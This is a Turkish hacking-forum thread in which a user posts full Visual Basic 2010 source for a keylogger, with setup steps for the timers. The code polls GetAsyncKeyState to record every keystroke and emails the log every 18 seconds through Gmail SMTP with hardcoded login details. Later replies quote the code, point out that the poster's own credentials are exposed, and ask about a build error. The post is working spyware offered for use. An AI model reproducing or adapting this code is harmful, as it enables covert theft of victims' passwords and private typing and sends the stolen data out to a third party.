Visual Basic 2010 Gmailli Keylogger Yapımı

A

abasanus

Katılımcı Üye
31 Tem 2010
700
0
İstanbul
İlk Olarak Timerlerımızı Ayarlıyoruz 2adet timer koyacağız
1.Timer:
İnterval=1
enabled=true

2.timer
adını email yapıyoruz
interval=18000

Kodlar:

Imports System.Net.Mail
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

For i = 1 To 255
result = 0
result = (GetAsyncKeyState(i))
If result = -32767 Then
RichTextBox1.Text = RichTextBox1.Text + Chr(i)
End If
Next i
End Sub

Private Sub email_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles email.Tick
Dim MymailMassege As New MailMessage()
MymailMassege.From = New MailAddress("[email protected]")
MymailMassege.To.Add("[email protected]")
MymailMassege.Subject = ("pakalin keylogger")
MymailMassege.Body = RichTextBox1.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("[email protected]", "3zr7ztdw (Şifre)")
SMTPServer.EnableSsl = True
SMTPServer.Send(MymailMassege)
RichTextBox1.Text = ("")
End Sub
End Class

Umarım İşinize yarar herturlu yardım için özelden ulaşabilirsiniz.



Video İçin
Visual Basic 2010 Keylogger Yapımı Abasanus - YouTube

Turkuaz yerleri kendinize göre dolduracaksınız.
 
Son düzenleme:
A

abasanus

Katılımcı Üye
31 Tem 2010
700
0
İstanbul
vb6 visual basiğin ilk ve en kullanışsız sürümü,bence bişeyleri geride bırakın artık
 
C

Cestlavie Codeys

Üye
20 Ocak 2012
160
0
abasanus' Alıntı:



Dim MymailMassege As New MailMessage()
MymailMassege.From = New MailAddress("[email protected]")
MymailMassege.To.Add("[email protected]")
MymailMassege.Subject = ("pakalin keylogger")
MymailMassege.Body = RichTextBox1.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("[email protected]", "3zr7zt390x")
SMTPServer.EnableSsl = True
SMTPServer.Send(MymailMassege)
RichTextBox1.Text = ("")
End Sub
End Class
Genişletmek için tıkla ...


Kardeşim bi konu açıyosum milleti bilgilendirmek için bari milleti keklemeye çalışma sen kendine uyarlamışsın bu keyloggeri kırmızı ve kalın yazdıgım gmail adreslerini herkes kendine göre uyarların yazabilirdin dikkat edin arkadaşlar

üstelik kendi gmail ve şifrende gözüküyo belki o gmaili kullanmıyo olabilirsin ama bunlar önemli şeyler dikkat et :RpS_cool:
 
Son düzenleme:
A

abasanus

Katılımcı Üye
31 Tem 2010
700
0
İstanbul
keklemekle ne alakası var ben herkezin onları değiştirebileceğini dünüşdüğüm için öyle bıraktım saçma sapan konuşma
 
A

asparagus64

Yeni üye
2 Nis 2013
2
0
kardeşm her şeyi aynı şeklde uyguladm
Error 1 Unable to copy file "obj\x86\Debug\WindowsApplication1.exe" to "bin\Debug\WindowsApplication1.exe". Could not find file 'obj\x86\Debug\WindowsApplication1.exe'. WindowsApplication1


die bi hata veriyo nasıl çözebilirim...
 
Cevap yazmak için giriş yap yada kayıt ol.
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.